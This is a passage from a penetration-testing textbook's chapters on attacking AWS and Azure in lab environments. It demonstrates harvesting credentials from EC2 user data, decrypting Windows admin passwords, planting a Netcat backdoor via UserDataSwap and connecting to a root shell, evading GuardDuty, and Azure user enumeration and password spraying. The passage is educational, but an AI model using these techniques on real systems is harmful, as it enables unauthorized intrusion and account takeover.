want to perform. We demonstrate several examples of these in the next section. We do,
however, wish for you to continue to use PACU, as it does have some useful features,
such as the following:
• Allowing a user to backdoor an EC2 service with a bootup script

• Whitelisting your IP address in GuardDuty, which is the threat detection service
from AWS
• Exploiting the Amazon SSM tool for executing commands
• Backdooring user accounts by adding a set of API keys or, in some instances,
adding a second set of API keys
• Downloading various types of data sets, such as RDS database snapshots and S3 files
NOTE Many of the actions in this section will be logged in the CloudTrail
components of the AWS console; this is done by default. While logging is
good, by itself it is not enough to understand what is occurring. You need
additional tooling to take the logs and make better sense of them, just like
you would in a standard operating system. The section is very noisy and can
leave a large footprint.
579
Lab 27-4: Leveraging Access to Perform Unauthorized Actions
As mentioned previously, RedBoto is composed of a series of scripts, and one of the

scripts is used to exploit AWS services. Some of the RedBoto scripts are designed to be
one-offs, with little to no uniformity or error handling. Still, for many of the individuals
using them, practicality tends to be the key.
Let’s run our first script:
┌──(kali kali)-[/opt/redboto]
└─$ python3 ./describeInstances.py❶
checking region: eu-north-1❷
No instances found in this region
+---------------------+------------------------------------------------+---------+
|i-092b83286d2cbf98d❸| ghh-ubuntu-ec2 | running |
+---------------------+------------------------------------------------+---------+
| i-0e9af69830251f1d6 | ghh-dc | running |
+---------------------+------------------------------------------------+---------+
The describeInstances.py script ❶ is a simple EC2 enumeration script that goes against
a list of regions ❷. While this is not a full list of regions, the script is designed for simplic-
ity over complexity. We can see the instance IDs ❸, the computer name, and its state.
Let’s run the next script:
└─$ python3 ./describeUserData.py❹
[*] Checking region eu-north-1
[*] Checking region us-east-1
+-------------------+---------------------------------------------------------+
| InstanceID | UserData❺ |
+===================+=========================================================+
| #!/bin/bash |
|i-092b83286d2cbf98d| sudo node index.js & |
| | curl -U monitoring: monitoring❻. http://localhost/_healthz|
PART VI
NOTE UserData is a special field that can be embedded in each EC2 instance
to allow for boot-time customizations of a machine. The typical mechanism
used to read and execute user data is a framework called cloud-init.
The mechanism is designed to run optional user data on boot to perform
bootstrap operations on operating systems. We can abuse this facility
by either inserting or reading the user data.
This next script, describeUserData.py, ❹ will blindly go through each instance and
enumerate all the user data ❺ stored within the instance configuration. As you can see,
any number of items can be stored here, including usernames and passwords ❻. This is
not a good pattern for storing information, but we still see it in use today. Looking for
passwords in user data and other key pieces of data is important.
580
Windows operating systems in EC2 make user data much more interesting. Part of
the creation process for some of the Windows operating systems is to have an Adminis-
trator username. At times, its pseudo-randomly created password is encrypted using the
SSH key used in the account. If we had access to that SSH key, could we decrypt that
value? RedBoto has a script that does just that:
TIP Make sure to copy your ~/.ssh/id_rsa from whatever device you used to
build your initial machines over to the machine you are attacking with. It is
also important to note that this version of getEC2WinCreds.py was modified
to work with our labs. The original script relies on the fact that we have a
PEM file for our SSH key, but we are using the OpenSSH-formatted keys. This
version does not attempt to deserialize PEM files.
└─$ python3 getEC2WinCreds.py❼ us-east-1 ~/.ssh/id_rsa
+-------------------+------+----------------+---------------+--------------------+
|Instance ID | Name |PrivateIpAddress|PublicIpAddress| Password. |

+===================+======+================+===============+====================+
|i+0e9af69830251f1d6❽|ghh+dc|+++10.0.0.10++++|+54.224.97.150+|ykX4l.fW?E66DrAZN❾|
+-------------------+------+----------------+---------------+--------------------+
Using the getEC2WinCreds.py ❼ file, the system will automatically look at a region
you specify and enumerate all EC2 instances ❽, looking specifically for the Windows
platform as a key. The script will then go into each of the instance IDs it locates and,
using the SSH key as a decryption key, will attempt to decrypt each one of the pass-
word fields ❾. It also provides you with a look at the public IP address. If one is found,
there is a change that exposes the RDP port to the Internet and allows remote access
into the device.
Lab 27-5: Persistence Through System Internals
One very traditional persistence mechanism in a standard operating system is the sched-
uled task. In Windows, you have the Task Scheduler, and in Linux you have the cron
daemon. Each one of these systems features a trigger event; typically, it’s based on a
time and an action. What if we could figure out how to trigger a job within the AWS
ecosystem that would grant us persistence? Ryan Gerstenkorn of Rhino Security Labs
wrote a Go-based tool that can help simulate this exact situation. The tool is called
UserDataSwap.11 It can be quite useful if you have the appropriate permissions and know
how to modify the source. The tool, written in Go, has a static boot command which
will add a statically compiled version of Netcat and open a backdoor listener. The listener
port stays open on the host system (see Figure 27-2). Think of this as a mix of a backdoor
bootloader and a persistence module in the operating system.
┌──(kali kali)-[~/GHHv6/ch27/Lab/terraform]
└─$ terraform output s3_sam_bucket❶ 27 ×
"ghh-sam-bucket-82jlwozo"
└─$ nano UserDataSwap/samconfig.toml❷
581
EC2 Instance EC2 Instance
Admin AWS API EC2 Create
Create Started Stopped
Instance AWS EventBridge
Notification
AWS
EventBridge EC2 Instance
Restart
Read UserData, Start EC2,
Wait for Instance Save UserData, Swap UserData Backdoor
To Start Stop Instance with Attacker EC2
Trigger UserData
Lambda EC2 Start
Swap Attacker Stop EC2

UserData with
UserData
EC2 Stop
Start EC2
EC2 Start
Figure 27-2 User data swap visualized
As you’ll notice, we run the terraform output command first ❶ so that we can find
the S3 bucket location for our tool. This is done in the terraform directory itself. We
then need to modify samconfig.toml ❷ in the UserDataSwap directory found in the Kali
instance in AWS. The file needs one entry modified, which is the s3_sam_bucket ❸ entry:
version = 0.1
[default]
[default.deploy]
[default.deploy.parameters]
stack_name = "UserDataSwap"
s3_bucket = "ghh-sam-bucket-82jlwozo❸"
s3_prefix = "UserDataSwap"
region = "us-east-1"
PART VI
capabilities = "CAPABILITY_IAM"
profile = "default"
Once the samconfig.toml file is finished, we can execute our build and deploy
commands:
┌──(kali kali)-[~/UserDataSwap]
└─$ make build❹
sam build
Building codeuri: /home/kali/UserDataSwap/UserDataSwap runtime: go1.x metadata: {}
functions: [‘UserDataSwapFunction’]
Running GoModulesBuilder:Build
Build Succeeded
Running the make build command in the UserDataSwap directory in the Home of our
Kali instance.
┌──(kali kali)-[~/UserDataSwap]
└─$ make deploy❺
sam build
582
Building codeuri: /home/kali/UserDataSwap/UserDataSwap runtime: go1.x metadata: {}
functions: ['UserDataSwapFunction']
Running GoModulesBuilder:Build
Capabilities : ["CAPABILITY_IAM"]
Parameter overrides : {}
Signing Profiles : {}
Initiating deployment
=====================
Waiting for changeset to be created..
CloudFormation outputs from deployed stack
-----------------------------------------------------------------------
Outputs
-----------------------------------------------------------------------
Key UserDataSwapFunctionIamRole
Description Implicit IAM Role created for Hello World function
Value arn:aws:lambda:us-east-1:170441420683:function:UserDataSwap-
UserDataSwapFunction-5FivtnSTNKx9
------------------------------------------------------------------------
Successfully created/updated stack - UserDataSwap in us-east-1
The first command, make build❹ will compile the application locally. Afterwards,
running the make deploy ❺ command, will create a Lambda function that will
take an event bridge as a trigger. It will look for EC2 instances that start, and those
EC2 instances that start will trigger an event bridge to trigger the Lambda function.
Once the Lambda function is triggered, it will take the instance ID as a target and
save the user data. The Lambda function will instruct the EC2 Server to shut down,
swap the user data, and boot the instance. Once that process is done, it will perform
the same operation to swap back the original user data. To the administrator it will
appear that EC2 is just running much slower than usual. It is also important to note
that autoscaling hasn’t been tested and could cause this to spiral out of control. Don’t
enable autoscaling on this configuration. The implant we are using is a Netcat listening
port on each EC2 instance on port 1234.
We now need to build an EC2 server to test with! Luckily, we can drop into another
terraform directory to build a victim ❻ device:
┌──(kali kali)-[~/GHHv6/ch27/Lab/terraform2]
└─$ ./build2.sh❻
victim2 = "54.198.158.163"
victim2-instance = "i-0d2d873ab99f40eb9"
At this point we need to wait about 5 or 6 minutes to let the UserDataSwap perform
all the operations it needs to perform. You can look in the CloudWatch log group (https://
console.aws.amazon.com/cloudwatch/home?region=us-east-1#logsV2:log-groups),
which would be the latest one with the words “UserDataSwap-UserDataSwapFunction,”
to see the status of the execution of the function.
583
We will now attempt to connect to the system that we have backdoored. The shell
being a raw socket shell can be connected using netcat.
└─$ nc 10.0.0.30 1234❼
ls❽
snap
whoami❾
root
We can now connect to our machine from within the same VPC to see that, indeed,
the port is now open. Here we run the nc ❼ command against the target machine;
remember, there will be no prompt with netcat. We can run ls ❽ and whoami ❾ to test
things out.
Summary
Amazon Web Services is a very powerful and useful set of tools that provide us with
the ability to deliver services, software, applications, and more at the same scale as
Amazon itself. We should, however, look at Amazon Web Services not as a cloud service
environment but as an operating system. It shares many properties of a traditional
operating system, exposed in a unique way. It has a permissions model that is similar to
our operating systems, it has a set of file systems, and it can launch, schedule, and work
with applications and processes. With this in mind, we can also attack and abuse Amazon
Web Services in a very familiar way. We hope that this chapter starts you down the path
of looking more closely at Amazon Web Services.
For Further Reading

IAM Identifiers docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers
.html#identifiers-unique-ids
Server-Side Request Forgery owasp.org/www-community/attacks/Server_Side_
PART VI
Request_Forgery
References
1. Ron Miller, “How AWS came to be,” TechCrunch, https://techcrunch
.com/2016/07/02/andy-jassys-brief-history-of-the-genesis-of-aws/.
2. “How IAM users sign in to AWS,” AWS, https://docs.aws.amazon.com/IAM/latest/
UserGuide/id_users_sign-in.html.
3. “Managing access keys for IAM Users,” AWS https://docs.aws.amazon.com/
IAM/latest/UserGuide/id_credentials_access-keys.html.
584
4. “AWS Identity and Access Management (IAM) Announces General Availability
and Support in the AWS Management Console,” AWS, https://aws.amazon.com/
about-aws/whats-new/2011/05/03/announcing-IAM/.
5. “Amazon Resource Names (ARNs),” AWS, https://docs.aws.amazon.com/general/
latest/gr/aws-arns-and-namespaces.html.
6. Asaf Hecht, “The Cloud Shadow Admin Threat: 10 Permissions to Protect,”
CyberArk, https://www.cyberark.com/resources/threat-research-blog/the-cloud-
shadow-admin-threat-10-permissions-to-protect.
7. Amazon GuardDuty, IAM finding types, https://docs.aws.amazon.com/
guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-
instancecredentialexfiltration.
8. PACU, https://github.com/RhinoSecurityLabs/pacu.
9. weirdAAL.py, https://github.com/carnal0wnage/weirdAAL/blob/
ef760fde7ffa997e7319bbab0329e99de83e2847/weirdAAL.py.
10. Redboto, Red Team Scripts for AWS, https://github.com/elitest/Redboto.
11. UserDataSwap, https://github.com/RyanJarv/UserDataSwap.
Hacking in Azure
CHAPTER
28
• How the Azure control plane and data plane work in relation to us breaking in
• How we can find Microsoft identities on Azure AD and take the accounts over
• How the system-assigned managed identities in Microsoft work and how can we
use them
Microsoft’s cloud platform is known as Microsoft Azure. It is considered an infrastruc-

ture as a service (IaaS) platform, but Microsoft Azure didn’t start that way; it started as a
platform as a service (PaaS) technology. As such, much of the original system was geared
toward a multitenant experience with its user base. Microsoft’s cloud platform works dif-
ferently from Amazon’s platform in subtle ways that, as an attacker, we can abuse. Here
are some examples of how Azure is different:
• The mechanism in which you must organize assets will affect how access
control works.
• Standard Azure Virtual Machines has many more avenues for exploitation, with a
more complex way to constrain access.
• Identities use OpenID Connect, as Microsoft has tightly integrated Azure AD with
Azure, which is a big difference from static AWS API keys.
It is also difficult to discuss Microsoft Azure without discussing Microsoft’s Azure
Active Directory. You will be reading sections that divert from Azure and instead focus
on Azure AD because of how tightly integrated both systems are.
Microsoft Azure
Microsoft Azure has several components geared toward developers and has expanded to
include more and more general IT computing environments. Central to the organization
of Azure is the understanding of the structure in which assets can reside. This concept
is like how Amazon Organizations1 works, with large differences in how the IAM rules
apply. We will see the impacts to this organization concerning how we can attack the
Azure assets themselves.
585
586
Management Groups Tenant Root
Company Group
Back Ofce Apps Front-End
Subscriptions
Subscription 1 Subscription 2 Archived
Subscription
Resource Groups
Prod Prod
Back Ofce Front-End Archived
Resource Resource Resources
Group Group
App
Disks Network VMs Services Disks Network VMs
Figure 28-1 Azure subscriptions
Azure leverages a concept known as subscriptions2 to organize many of its assets.

Azure subscriptions are organized by management groups. A single management group
can manage multiple subscriptions, which can manage multiple resource groups. The
resource groups contain resources. The model is hierarchical, and inheritance is a feature.
An “Owner” or “Contributor” at the management group level will inherit permissions
downstream. This is critical to understand, as applying permissions at the top of the
tree will have impacts downstream. Figure 28-1 shows how those Azure groups are con-
structed and what the relationships can be like.
Differences Between Azure and AWS

Because we just covered AWS in the previous chapter, it would be good to discuss the
major differences you may find between the two cloud environments—specifically, as
an attacker, what you may encounter that may surprise you. The first one is that many
organizations are running Azure AD in some capacity. AWS does not provide users with
an identity provider (IdP); instead, they use API keys for programmatic access. AWS
uses its IAM to describe exactly which services and resources you may be able to use in
the AWS system. If you are coming from either Azure or AWS and attempting to move
assets between these two systems, the permissions and structures will be very different in
their application. This may confuse you, or you just may not like the way they operate
in comparison.
Outside of permissions, another major difference between AWS and Azure you will
find is some of the out-of-the-box features in these services. Azure has multiple out-of-
the-box ways to automate the management of systems. Azure VMs have a feature called
“run-command” that allows for code execution. There is also an array of options in tools
Chapter 28: Hacking in Azure
587
like Custom Script Extensions to perform system operations. These toolsets are built in
and made available by default; in contrast, AWS requires you to set up tools for this.
Finally, there are differences in how some of the services are built, with very little
separation on the same host. One example is Azure Functions for Windows. Azure
Functions are like Lambda in AWS, with subtle differences. Azure functions in Windows
that are created in the same “application” share the same disk drive and have no disk
separation. This is because Windows has not historically done containers, and as such,
Azure Functions for Windows has this issue.
Azure uses the concept of a User Account or a Service Principal, which is like a service
account. Azure AD, because it is an IdP, can use different OAuth flows. This is different
from AWS, which uses static or ephemeral API keys. This also means we will perform
username-and-password-based authentication attacks on the APIs in Azure because
getting access to those users means both web and command-line interface (CLI) access,
which is powerful.
Lab 28-1: Setup of Our Labs
We are going to be using a project known as PurpleCloud by Jason Ostrom. PurpleCloud

leverages Terraform and Ansible to get your environment working. PurpleCloud itself
requires several permissions:
• It requires you to have set up a Microsoft Azure subscription.

• You need to ensure that Terraform and Ansible are still on your machine.
• You need to set up an Azure Service account.
• You need to install the Azure CLI from Microsoft.
At the bottom of the GitHub repository referenced in the lab you’ll see a link to the
documentation site. The site has a section on how to get service accounts created.3
The labs in this chapter can cost quite a bit of money per resource. One of the options
you have is to “stop” machines—not terminate, just “stop”—after the labs are running
PART VI
for an hour. This would give you the ability to build the labs but not have to destroy
them each time. The cost of this lab running for a month could be several hundred
dollars due to Windows virtual machines with Microsoft licensing being run in Azure.
Let’s start by implementing PurpleCloud, we will do this by forking the code.
┌──(kali kali)-[~/]
└─$ git clone https://github.com/iknowjason/PurpleCloud❶
└─$ cd PurpleCloud/deploy❷
┌──(kali kali)-[~/PurpleCloud/deploy]
└─$ cp terraform.tfexample terraform.tfvars❸:
└─$ nano terraform.tfvars❹
588
Figure 28-2 App registration page for Azure
The first step is to clone the PurpleCloud repo ❶. The repo itself has many of the
Terraform scripts in the deploy directory ❷. Once you’re in the directory, you need to
move the terraform.tfexample file to terraform.tfvars ❸. Next, you need to edit the file
and change several settings ❹.
Here are the relevant areas you need to change in the tfexample file:
arm_client_id = "REPLACE_WITH_YOUR_VALUES"❺
arm_client_secret = "REPLACE_WITH_YOUR_VALUES"
subscription_id = "REPLACE_WITH_YOUR_VALUES"
tenant_id = "REPLACE_WITH_YOUR_VALUES"
The picture that has been provided to you shows how you can get to these values ❺
using the Azure Portal. If you are using the Azure Portal, you can find these values by
choosing Azure Active Directory | App Registrations and then clicking your application
(see Figure 28-2).
Once the values are populated inside the configuration file, you can find the values to
populate these items in the file. You will need to generate a client secret, which can be
found in the Certificates and Secrets area of the application. You also have the option in
this file to edit the src_ip to lock down access to exposed systems.
Run the terraform commands to build the system.
└─$ terraform init && terraform apply -var-file=terraform.tfvars❻
By specifying a var-file ❻ in Terraform, you can now deploy to your tenant. This pro-
cess will take several minutes to complete. Note that there will be output about external
IP addresses that will not be shown directly to you, but we will find these addresses as we
go through our labs. You can also modify the files so that external access is not allowed
and only internal IPs are used. This is documented in PurpleCloud itself, not here.
589
Lab 28-2: Additional User Steps
For us to attempt some of our labs, we need to modify some items in the Portal. First, we
need to add a user we can use for our lab access:
└─$ sudo curl -sL https://aka.ms/InstallAzureCLIDeb | sudo DIST_CODE=bullseye
bash❶
<--OMMITED FOR BREVITY---->
└─$ az login❷.
At the time of writing, Debian “bullseye” is in release, with Debian “bookworm”

being the next version of Debian. We highlight this because Kali is a rolling distribution,
and we have to get as close as possible to the release train of Debian to install the tool
using the .deb file.
To perform some of the steps in this lab, we need the Azure CLI tool ❶, which
enables us to run Azure commands as we would using the AWS CLI. However, unlike
the AWS CLI, Azure uses OpenIDConnect, so we have more ways to log in to Azure,
including the following:
• OpenIDConnect Authorization Code Flow:

az login
• OpenIDConnect Authorization Code Flow specifying the username and password
in the login prompt:
az login -u user -p password
• OpenIDConnect Device Flow:
az login --use-device-code
• OpenIDConnect Client Credentials Flow:
az login --service-principal -u 123-123-123 -p password --tenant 123-123-123
As you can see, there are multiple avenues to programmatically enter the system. For
PART VI
now, we will use the standard authorization code flow ❷ for systems with a desktop. If
you are not using a desktop environment, consider logging in with the -u/-p switches.
Once we are in, we will create a user account we can use to authenticate to Azure itself:
└─$ az ad user create --display ghh-test-user --password
ReallyReallyVeryStrongPassword --user-principal-name [email protected]❸.
The specified password does not comply with password complexity requirements.
Please provide a different password ❹.
└─$ az ad user create --display ghh-test-user --password
ReallyReallyVeryStrongPassword!1 --user-principal-name [email protected]
{
"accountEnabled": true,
}
590
Note that we are creating a real user account with a password that is long and strong ❸.
Do not use the password in the book; instead, choose your own long and strong password,
as you will be giving this user rights in your cloud environment ❹.
The user we created has no permissions in Azure AD, so the next step is to give this
user rights. There are several ways to accomplish this; the easiest is to perform the follow-
ing steps in the Azure Portal:
1. Choose Azure | Subscriptions and then find the Subscription you have your assets
in. Click the Access Control (IAM) option on the left.
2. Click Role Assignments and then click Add Role Assignment. There are three
steps to this:
a. Find the role.
b. Find the members.
c. Make the assignment. In the first screen, be sure to choose Reader.
3. Click Next. For Members, choose our user, ghh-test-user. Click Select Members
to select this user.
4. Finally, click View and Assign.
Now that we have set up our user, we need to give one of our virtual machines a
system-assigned managed identity. Here are the steps to follow:
1. In the Azure Portal, click the resource group created by PurpleCloud. It will be
called purplecloud-devops1.
2. Once the resources are listed, click rtc-dc1. From this area, click the identity item
in the settings area on the left side.
3. Click the Status to On. You may have to click Save to continue.
4. You will now see an Azure Role Assignments button. Click the button to add a
role assignment.
5. You may or may not need to choose a subscription; if you have more than one,
you will need to choose the subscription from a list in the scopes area of the
screen. Choose your subscription and then choose the role Contributor.
Note that this is a fairly high level of access; at this point, you should have locked
down the access control list to just your IP address. If you have not, make sure to modify
the terraform.tfvas file and then run Terraform again to update the configuration.
Lab 28-3: Validating Access
We should now validate that all our machines are accessible. To do this, we need to log
in to our domain controller with an administrator account. This lab walks you through
that process, starting with getting the IP address of our domain controller.
591
└─$ az vm list -o table -d❶
Name ResourceGroup PowerState PublicIps Fqdns Location Zones
-------------- ------------------- ------------ ------------ ------- ---------- -------
rtc-dc1❷ PURPLECLOUD-DEVOPS1 VM running 40.78.2.188❺ westus
rtc-velocihelk❹ PURPLECLOUD-DEVOPS1 VM running 13.88.175.91 westus
Win10-Lars❸ PURPLECLOUD-DEVOPS1 VM running 13.88.175.92 westus
We start by using the az vm tool to list out all the objects in table format ❶. In our
environment, we see three VMs: a domain controller ❷, a user workstation ❸, and
an SOC server/ELK server ❹. The workstation and domain controller can be logged
into with RDP, and the SOC server will be available over SSH. For the purposes of
our labs, we will just concentrate on rtc-dc1. In this example, the IP address shown is
40.78.2.188 ❺ but yours will be different.
Use RDP to access rtc-dc1 with the username rtc.local\rtcadmin and the password
Password123. If you can log in to the server, you can leave the RDP session open or close
it. We will return to it later in the chapter.
Microsoft Azure AD Overview

As you may have noticed, Azure Active Directory is integral to the inner workings of
Azure. It is important to understand how the system is architected so that the next several
labs bring clarity to the relationship between Azure and Azure AD. Azure AD is an iden-
tity provider (IdP). Specifically, it leverages OpenIDConnect, which is a framework that
sits on top of OAuth. The “For Further Reading” section has links to Okta’s guide on
OAuth 2.0.
Why do we see so many enterprises running Azure AD? The main reason is Office 365.
Many Office 365 users were coming from the on-premises Exchange, and to facilitate
the synchronization of users, Azure AD was used for mailbox synchronization and user
synchronization. We also see that many organizations had Okta or another IdP in which
Azure AD federates to those IdPs. Do not be surprised if you see federation from time
to time.
Azure itself uses a series of scopes to attempt to control access to resources. Controls
PART VI
are set by scope, and those scopes define the users’ permissions in Azure. Microsoft Azure
AD is a different type of identity store than the classic Active Directory Domain Services.
You will find many differences between the various types of Microsoft identity services,
as explained in Table 28-1.
Azure Permissions
Let’s now look at the overall roles in Azure. For example, we can look at the Virtual
Machine User Login role, which is a built-in role for Azure. What does this role do and
592
Azure Active
Directory
Features Azure AD Microsoft AD DS Domain Services
Hosting type Hosted (SaaS) On-premises, Hosted (SaaS)
self-hosted
Login types Web based, LDAP Store, LDAP Store,
OAuth, SAML, Kerberos, NTLMv2 Kerberos, NTLMv2
OpenIDConnect
Computer N/A, use Intune (MDM) Group Policy Group Policy
management
User management Flat structure, Folders, ACLs based, Folders, ACLs based,
scope-based controls tree structure tree structure
Administrator Global Administrator, Domain Admin, Backup Admin
accounts/roles/ Billing Administrator, Enterprise Admin, (no Domain Admin,
groups Contributor roles Backup Admin, Enterprise Admin, or
Schema Admin schema modifications
allowed)
Organizations and Tenants Forests and domains No Forests, no
multitenancy domains
Synchronization On-premises AD can Can sync users to Cannot sync
options sync to Azure AD Azure AD, only outbound, takes
domain services one connector, only input from Azure AD
one Azure AD sync
per object
Table 28-1 A Comparison of Microsoft Identity Services
what does it contain? The following is an example of how the role is constructed using
JSON as the input for the system:
{
"id": "/providers/Microsoft.Authorization/roleDefinitions/fb879df8-f326-
4884-b1cf-06f3ad86be52",❶
"properties": {
"roleName": "Virtual Machine User Login",
"description": "View Virtual Machines in the portal and login as a
regular user.",
"assignableScopes": [
"/"
],
"permissions": [
{
"actions": [
"Microsoft.Network/publicIPAddresses/read❷",
"Microsoft.Network/virtualNetworks/read",
"Microsoft.Network/loadBalancers/read",
"Microsoft.Network/networkInterfaces/read",
"Microsoft.Compute/virtualMachines/*/read",
"Microsoft.HybridCompute/machines/*/read"
593
],
"notActions": [],
"dataActions": [
"Microsoft.Compute/virtualMachines/login/action❸",
"Microsoft.HybridCompute/machines/login/action"
],
"notDataActions": []
}
]
}
}
This JSON blob is an example of what occurs behind the built-in Azure AD role
for Virtual Machine User Login ❶. It is globally available to all Azure AD tenants. The
permissions set by the system are scoping, which controls what you can do. We can
see “Control Plane” actions in Azure by looking at the allowed actions. Many of the
scopes provided to users of this account are read (or just the capability to read objects in
Azure) ❷. There are also actions in very specific Azure roles that are known as Data Plane
options. In this example, granting a user the ability to log in to virtual machines will need
two specific components. What is my IP address, and what is the capability to log in to
that IP address? That is what the Data Plane options afford—the login capability to the
actual machine IP address ❸. Now, this only provides someone the ability to do it from
the Portal. If the IP address is exposed to the Internet and they know what the username
and password are, but they are not in this group, can they still log in? Yes. Not being in
this group doesn’t prevent protocols like RDP from working on the data channel; it only
simplifies access to RDP using the Azure Portal. You can find a link to the built-in roles
documentation in the “For Further Reading” section.
What types of built-in roles give us the most permissions? Which are the ones we need
to keep an eye on?
• Global Administrator and Billing Administrators can perform many dangerous

actions, such as deleting the tenant and starting new tenants.
• Owner and Contributor at the Subscription or Resource Group level can make
any type of changes to objects beneath them.
PART VI
• Classic (or Legacy) roles such as Co-Owner and Owner have an extreme level of
permissions (they can do anything to subscriptions and below).
• App Administrator can make modifications to Azure AD and has the ability to
affect many of the Developer Services.
Constructing an Attack on Azure-Hosted Systems

The next series of labs discuss how to go through an attack on assets hosted in Azure.
Some of these techniques are highly Azure specific, which is why we are dedicating an
entire chapter to Azure. The first step is to identify tenancy. How do we know that a
target is using Azure?
594
There are very specific markers for organizations that may be running Office 365 and
perhaps Azure assets. The first indicator comes in the form of e-mail markers:
• Message headers that have outlook.com or office365.com in the sending paths

• Having DMARC and DKIM lookups for onmicrosoft.com, which is the default
Azure AD tenant
• DNS MX records that point to mail-protection.outlook.com
With some assurance that Office 365 is being used, we can start looking at username
harvesting using the different Azure APIs.
Lab 28-4: Azure AD User Lookups
The first part of the equation is uncovering where the Azure AD tenant exists and if it
is hosting users or is sending authenticated users to a federated instance. To do this, we
will construct some queries to several of the Microsoft online APIs. We can do this on
the command line, as show next, but it can also be done using a tool like Burp Intruder.
┌──(kali kali)-[~/projects]
└─$ curl -s https://login.microsoftonline.com/ghhtestbed.onmicrosoft.com❶/
.well-known/openid-configuration | jq '.'
{
"token_endpoint": "https://login.microsoftonline.com/695086d3-491e-4241-
9b19-132414a37d1b/oauth2/token"❷,
"token_endpoint_auth_methods_supported": [
"client_secret_post",
"private_key_jwt",
"client_secret_basic"
┌──(kali kali)-[~/projects]
└─$ curl "https://login.microsoftonline.com/getuserrealm.srf?login=test@
ghhtestbed❸.onmicrosoft.com&json=1" | jq'.'
{"State":4,"UserState":1,"Login":"[email protected]","NameSpace
Type":"Managed❹","DomainName":"ghhtestbed.onmicrosoft.com","FederationBrandNa
me":"GHHTestBest","CloudInstanceName":"microsoftonline.com","CloudInstanceIss
uerUri":"urn:federation:MicrosoftOnline"}
The first query gives us a basic safety check for our checks. Using the OpenIDConnect
well-known configuration, we can tell whether an environment exists in Azure. There are
more than likely going to be two domains for every tenant. The first domain, as you may
notice in our example, is ghhtestbed.onmicrosoft.com. This is the default domain that
will be hosted using the onmicrosoft.com top-level domain, and the ghhtestbed ❶ part
will be custom to you. The output of this, if correct, will display the configuration of
the OpenIDConnect endpoint ❷. So far, we are not abusing the system; this is how the
system is supposed to work.
The next request does not incur any attempts to log in, but it can reveal the tenant
type we have found ❸. We can start by using any e-mail address, regardless of whether
or not it exists, to check the hosting of this tenant. The NameSpaceType ❹ key in the
JSON output will reflect several values:
• Managed This tenant is hosted by Azure AD and is valid.

595
• Unmanaged This tenant does not exist, which you would already be aware of
by looking at the previous check.
• Federated This tenant does exist on Azure AD but only supports sending the
request over to another IdP such as Okta or ADFS. The federated JSON will
show the URL of the IdP that does the authentication, which we can leverage to
further hunt our users on a different platform.
Now that we have an idea of what tenants are valid, we need to find valid user accounts.
Most of the user accounts in Azure are based on e-mail addresses.
We will not cover the specifics of creating usernames in this section of the book.
However, there are ways to find valid e-mail addresses, such as taking the list of first
and last names from LinkedIn and other sources and creating patterns such as firstname
[email protected]. You can also find plenty of e-mail dumps on the Internet itself.
You may notice that we are using an onmicrosoft.com domain that may not have
e-mail, but the user accounts will still be in the [email protected] format. Microsoft
refers to this as User Principal Name (UPN). Let’s see how we can harvest these accounts:
└─$ curl -s -X POST https://login.microsoftonline.com/common/
GetCredentialType \
--data '{"Username":"[email protected]"}'❺
{"Username":"[email protected]","Display":"test@ghhtestbed.
onmicrosoft.com","IfExistsResult":1❻,"IsUnmanaged":false,"ThrottleStatus":0,
"Credentials":{"PrefCredential":1,"HasPassword":true,"RemoteNgcParams":null,"
FidoParams":null,"SasParams":null,"CertAuthParams":null,"GoogleParams":null,
"FacebookParams":null},"EstsProperties":{"UserTenantBranding":null,"DomainTy
pe":3},"IsSignupDisallowed":true}
└─$ curl -s -X POST https://login.microsoftonline.com/common/
GetCredentialType \
--data '{"Username":"[email protected]"}'❼
{"Username":"[email protected]","Display":"ghh-test-
[email protected]","IfExistsResult":0❽,"IsUnmanaged":false,"Thr
ottleStatus":0,"Credentials":{"PrefCredential":1,"HasPassword":true,"RemoteNg
cParams":null,"FidoParams":null,"SasParams":null,"CertAuthParams":null,"Googl
PART VI
eParams":null,"FacebookParams":null},"EstsProperties":{"UserTenantBranding":n
ull,"DomainType":3},"IsSignupDisallowed":true}
To perform username harvesting, we start by comparing two queries. As an aside,

figuring out usernames is one half of the equation. We also need to understand how to
leverage these with passwords; however, for now, our focus is on username harvesting.
Of the two requests, the first request has the username of [email protected]
.com ❺. We didn’t create the test user, so we will be checking against a known-bad
account. The output is somewhat difficult to read; however, one of the keys in the
JSON is called IfExistsResult, the output of which is 1 ❻. In this case (which may
not seem logical), 1 is a false condition or does not exist. If we look at our valid user,
[email protected] ❼, we see IfExistsResult is set to 0 ❽
(in this case, a true condition). We now have a way to iterate through lists of users and
can validate which ones are valid users on this platform. Does this mean that they have
Azure permissions? No, but it does mean they are Azure users.
596
Lab 28-5: Azure AD Password Spraying
We’ve now seen how these tools work under the hood, but what if we wanted to con-
struct an attack that uses something more sophisticated such as password spraying or
password attacks on an Office 365 account. Password-spraying attacks use a single
password across a multitude of users. This attack style is very popular on live systems
because of password-lockout issues. We have several tools for this, such as Beau Bullock’s
MSOLSpray4 and 0xZDH o365spray.5 For this lab, and for compatibility reasons, we
will be running the o365spray tool. To do so, let’s get a copy of it on our local system:
└─$ git clone https://github.com/0xZDH/o365spray.git❶
┌──(kali kali)-[~/o365spray]
└─$ python3 o365spray.py -d ghhtestbed.onmicrosoft.com❷
<--OMMITED FOR BREVITY---->
[2021-10-20 21:36:18,817] INFO : Running O365 validation for: ghhtestbed.
onmicrosoft.com
[2021-10-20 21:36:19,240] INFO : [VALID] The following domain is using O365:
ghhtestbed.onmicrosoft.com
┌──(kali kali)-[~/projects/o365spray]
└─$ python3 o365spray.py -d ghhtestbed.onmicrosoft.com -u ghh-test-user@
ghhtestbed.onmicrosoft.com❸ --enum
[2021-10-20 21:36:31,975] INFO : Running O365 validation for: ghhtestbed
.onmicrosoft.com
[2021-10-20 21:36:32,227] INFO : [VALID] The following domain is using O365:
ghhtestbed.onmicrosoft.com
[2021-10-20 21:36:32,227] INFO : Running user enumeration against 1 potential
users
[2021-10-20 21:36:33,654] INFO : [VALID] ghh-test-user@ghhtestbed.
onmicrosoft.com
[2021-10-20 21:36:33,655] INFO :
[ * ] Valid accounts can be found at: '/home/kali/o365spray/enum/enum_valid_
accounts.2110202136.txt'
[ * ] All enumerated accounts can be found at: '/home/kali/o365spray/enum/
enum_tested_accounts.2110282136.txt'
[2021-10-28 21:36:33,655] INFO : Valid Accounts: 1
We will start by cloning the repository for o365spray ❶. The tool o365spray gives
us the ability to work with many of the different APIs that Microsoft uses to validate
credentials. The tool can validate the tenant and can validate and enumerate users ❷.
